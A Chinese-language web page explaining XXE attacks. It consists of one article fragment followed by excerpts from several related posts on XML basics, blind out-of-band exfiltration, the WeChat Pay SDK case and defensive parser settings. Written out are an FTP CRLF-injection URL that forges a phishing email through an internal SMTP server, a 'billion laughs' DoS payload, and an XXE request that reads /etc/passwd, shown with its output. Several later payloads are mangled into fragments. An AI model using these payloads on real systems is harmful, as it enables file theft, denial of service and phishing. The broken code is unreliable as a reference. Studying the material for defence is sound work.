    如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人

    Java支持在sun.net.ftp.impl.FtpClient中的ftp URI
    因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令

    但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令

    示例代码:

    ftp://a%0D%0A
    EHLO%20a%0D%0A
    MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
    RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
    DATA%0D%0A
    From%3A%20support%40VULNERABLESYSTEM.com%0A
    To%3A%20victim%40gmail.com%0A
    Subject%3A%20test%0A
    %0A
    test!%0A
    %0D%0A
    .%0D%0A
    QUIT%0D%0A
    :a@VULNERABLESYSTEM.com:25
    

    当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

    示例代码:

    ftp://a
    EHLO a
    MAIL FROM: <support@VULNERABLESYSTEM.com>
    RCPT TO: <victim@gmail.com>
    DATA
    From: support@VULNERABLESYSTEM.com
    To: victim@gmail.com
    Subject: Reset your password
    We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
    .
    QUIT
    :support@VULNERABLESYSTEM.com:25
    

    这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件

    (8)DOS 攻击

    示例代码:

    <?xml version="1.0"?>
         <!DOCTYPE lolz [
         <!ENTITY lol "lol">
         <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
         <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
         <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
         <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
         <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
         <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
         <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
         <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
         ]>
         <lolz>&lol9;</lolz>
    

    4、现实场景

    XXE经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用

    原始请求和响应

    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/json
    Content-Length: 38
    
    {"search":"name","value":"netspitest"}
    

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43
    
    {"error": "no results for name netspitest"}
    

    进一步请求和响应

    现在我们尝试将 Content-Type 修改为 application/xml
    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 38
    
    {"search":"name","value":"netspitest"}
    

    HTTP Response:

    HTTP/1.1 500 Internal Server Error
    Content-Type: application/json
    Content-Length: 127
    
    {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
    

    最终的请求和响应

    可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 288
    
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <search>name</search>
    <value>&xxe;</value>
    </root>
    

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 2467
    
    {"error": "no results for name root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync....
    

    5、防御措施

    主要是使用语言中推荐的禁用外部实体的方法

    PHP

    libxml_disable_entity_loader(true);
    

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    
    .setFeature("http://xml.org/sax/features/external-general-entities",false)
    
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    

    Python

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    结语

    对XXE做了个归纳

    参考

    展开全文
  • 刚开始学XXE漏洞的时候,很懵,看见了这个博客,就转载一下,希望对刚接触这个东西的同学有帮助,刚学的时候浪费了很多时间,希望别人可以少浪费这个找资源的时间
  • XXE漏洞攻防原理

    2021-03-22 21:39:25
    方便永远是安全的敌人你的知识面,决定你的攻击面1简述XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析...

    方便永远是安全的敌人

    你的知识面,决定你的攻击面

    1简述

    XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    而如今越来越多的WEB程序被发现和报告存在XXE漏洞,比如说facebook,paypal等等。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。尽管XXE漏洞已经存在了很多年,但是他从来没有获得他应得的关注度。究其原因一方面是对XXE这种利用难度高的漏洞不够重视,另一方面是XML的存在对互联网的广泛影响,以至于他出现任何问题时牵扯涉及到的应用、文档、协议、图像等等都需要做相应的更改。

    2 XML结构介绍

    要了解XXE漏洞,那么一定要先学习一下有关XML的基础知识。

    XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,...),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

    XML被设计为传输和存储数据,其焦点是数据的内容,目的是把数据从HTML分离,是独立于软件和硬件的信息传输工具。XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的,如下:

    028f398c4069f47538dc0a370a5fbe7b.png

    上面这个DTD定义了XML的根元素是message,然后元素下面还有一些子元素,其中DOCTYPE是DTD的声明;ENTITY是实体的声明,所谓实体可以理解为变量;SYSTEM、PUBLIC是外部资源的申请。那么XML到时候必须像如下这么写:

    bf767faa9bd2ee2088f08644a2def00b.png

    现在我们了解了XML的实体的定义,但是还没有对实体进行分类,从两个角度可以把XML分为两类共4个类型:(内部实体、外部实体)、(通用实体、参数实体)。其中两大类含有重复的地方。

    内部实体:

    (DTD定义代码)

    7af28f0d2611c0bdaee86accb4d9cff3.png

    (引用代码)

    a89ef5b25553acad8a2b095c02d6823f.png

    使用&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被“test”替换。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    外部实体:

    外部实体表示外部文件的内容,用 SYSTEM 关键词表示,通常使用文件名”>或者public_ID” “文件名”>的形式引用外部实体。

    19f11cbd1f3942b588e95aec7bb2d07c.png

    有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)。

    通用实体:

    d988057973622c97968a0a2d13c4dade.png

    用&实体名;引用的实体,他在DTD中定义,在XML文档中引用

    参数实体:

    a.使用 % 实体名(这里空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用

    b.只有在DTD文件中,参数实体的声明才能引用其他实体

    c.和通用实体一样,参数实体也可以外部引用

    7ffd9da8311c470d181f739ce236df5e.png

    3普通的XML注入

    在介绍XXE之前,先简单说一下普通的XML注入,为什么要提XML注入呢,我们从XXE的全称(XML外部实体注入)可以看出,XXE也是一种XML注入,只不过注入的是XML外部实体罢了。

    747f715cf6c500022195ba9cef1e0665.png

    从上图可以看出来,所谓的XML注入就是在XML中用户输入的地方,根据输入位置上下文的标签情况,插入自己的XML代码。虽然由于普通的XML注入利用面窄,现实中几乎用不到,但是我们可以想到,既然可以插入XML代码我们为什么不能插入XML外部实体呢,如果能注入成功并且成功解析的话,就会大大扩宽我的XML注入的攻击面了。于是就出现了XXE

    4从回显中读取本地敏感文件(Normal XXE)

    这个攻击场景模拟的是服务端能接收并解析XML格式的输入并且有回显的时候,我们可以输入我们自定义的XML代码,通过外部引用实体的办法,引用服务器上面的文件。

    先给出服务器端解析XML的php代码

    xxe.php

    libxml_disable_entity_loader (false);

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

    $creds = simplexml_import_dom($dom);

    echo $creds;

    ?>

    其中libxml_disable_entity_loader(BOOL)函数接收true或false两种布尔型参数,用来表示是否允许禁用外部加载实体,当值为false时允许加载外部实体;

    通过file_get_contents()加载传入的参数,再通过DOMDocument类中的loadXML函数加载外部传入的实体(XML),最后将结果返回显示

    因此我们构造一个XML外部实体,用来访问服务器上的敏感文件,然后再数据传输过程中将自己的实体注入。

    Payload:

    ]>

    &xxe;

    结果如下:

    6d23a332fdb1d737810c0257356756e6.png

    5b8e15805a7a5c9b3ca1df4bfd20b011.png

    当然,回显注入属于是例外中的例外,毕竟XML本身就不是输出用的,一般都是用于配置或者某些极端情况下利用其它漏洞能恰好实例化解析XML的类,因此想要利用现实中更真实的XXE漏洞需要寻找一个不依靠回显的方法-----外带

    5无回显读取本地敏感文件(Blind OOB XXE)

    想要外带就必须能发起请求,那么什么地方能发起请求呢?很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)。照例给出存在问题的服务端代码。

    xxe.php:

    libxml_disable_entity_loader (false);

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

    ?>

    可以看到这个服务器配置与上一个相比取消了回显,但是依然是不安全的。

    Payload:

    %remote;%int;%send;

    ]>

    再提交数据的时候引用另一个DTD文件,test.dtd将服务器上的敏感文件进行base64编码后转发给攻击者ip:9999端口上

    test.dtd:

    ">

    结果如下:

    dd1f9a1e46861049a3c7fd51d86443de.png

    197ee8709fe551572cf1706ee6571fc9.png

    我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程主机上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

    进一步对XXE漏洞分析后,我们可以很清晰地看到我们实际上都是通过file协议读取本地文件,或者通过http协议发出请求,类比一下其他漏洞例如SSRF,发现这两种漏洞的利用方式非常相似,因为他们都是从服务器向另一台服务器发起请求,所以想要更进一步的利用XXE漏洞我们要清楚在何种平台可以使用何种协议

    b14c7e46eeb7e8b08ee42a8ddf070787.png

    6XXE的真实案例(微信支付XXE)

    在2018年7月4日微信SDK爆出XXE漏洞,通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为。

    漏洞描述:

    微信支付提供了一个接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品

    漏洞产生原因:

    微信支付SDK的XXE漏洞产生原因都是因为使用了DocumentBuilderFactory没有限制外部查询而导致XXE

    漏洞实例代码:

    简单的代码审计一下可以发现,在构建了documentBuilder以后对传进来的strXML直接进行解析,并没有任何过滤检查的步骤,而且悲剧的是此处传入的参数是攻击者可控的注入点,于是就出现了XXE漏洞。

    简化版:

    d149a04d53ebf39795497d3be1a02eeb.png

    完整代码:

    f2682614dab76597b1e95f15f1ad284a.png

    攻击代码:

    ed482f973aeb732c09f1cf53e4e00535.png

    直接向其中注入XML外部实体,返回c盘上的系统配置文件内容,由于可以直接回显所以采用了最简单的回显注入而不是外带注入

    7XXE漏洞防御

    1.使用开发语言提供的禁用外部实体的方法

    PHP: libxml_disable_entity_loader(true);

    JAVA:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

    Python:  from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    2.过滤用户提交的XML数据

    过滤关键词:!ENTITY,或者SYSTEM和PUBLIC

    3.使用第三方应用代码及时升级补丁

    展开全文
  • xxe漏洞详解

    千次阅读 2021-12-17 16:21:15
    本文详细描述了xxe漏洞的原理、利用方式、防御方法
  • JAVA的XXE漏洞

    2021-03-22 21:39:35
    1. XXE简介XXE(XML外部实体注入,XML External Entity) ...简单来说,如果系统能够接收并解析用户的XML,但未禁用DTD和Entity时,可能出现XXE漏洞,常见场景如pdf在线解析、word在线解析、定制协议或者其他可以解析...
  • XXE漏洞学习

    2020-12-22 19:12:35
    无回显的情况 blind xxe漏洞方案1: 对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。...
  • XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,...
  • xxe漏洞

    千次阅读 2022-02-16 17:36:18
    title: xxe漏洞 date: 2021-05-25 10:37:23 xxe漏洞 概述 XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从安全角度理解成XML External Entity attack 外部实体注入攻击。 基础知识拓展 xml ...
  • xxe攻击原理+实践操作
  • XXE漏洞全称XML External Entity Injection,也就是xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网...
  • java XXE代码审计 java 解析xml的方法越来越多,常见的是使用DOM,JDOM,DOM4J,SAX等四种方式 使用DOM解析XML protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ...
  • 安全-XXE漏洞复现(xxe-lab)

    千次阅读 2022-02-13 11:34:59
    XXE漏洞复现(xxe-lab)
  • XXE漏洞原理及防御方式。

    千次阅读 2021-11-15 12:25:23
    写这篇文章目的就是想认真理理XEE这个漏洞...XXE这个漏洞的理解,首先我们了解xml文档,因为该漏洞就是由xml文档引起的 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用.
  • 】现代cms框架(laraval/symfony/slim)的出现,导致现今的php漏洞出现点、原理、利用方法,发生了一些变化,这个系列希望可以总结一下自己挖掘的此类cms漏洞。slim是一个设计思路超前的 知名的php轻框架 ,完美结合了...
  • xxe漏洞原理 Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统...
  • 为了防止把事情搞复杂,先从一个常见的文件读取xxe payload示例开始 第一行是 XML 声明。它定义 XML 的版本(1.0) 接下来的部分是DTD !DOCTYPE 用来声明文档类型,!ELEMENT定义一个元素(XML 标签名)这里类型为...
  • XXE漏洞(2)漏洞实战

    千次阅读 2020-07-07 11:22:10
    本次测试XXE主要在靶机上安装了bWAPP程序,中间有一关为XXE漏洞很好做测试了解XXE漏洞。 靶机:192.168.56.101 攻击机kali:192.168.56.1 目录 了解XXE漏洞原理 漏洞成因 怎么判断网站是否存在XXE漏洞 基本...
  • XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站...
  • XXE漏洞基础知识

    2021-10-29 15:57:52
    漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。 下面我们主要介绍PHP语言下的XXE攻击。 文档结构 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <!--XML声明--> <?xml ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,781
精华内容 1,912
关键字:

xxe漏洞

友情链接: DelphiColorTV.rar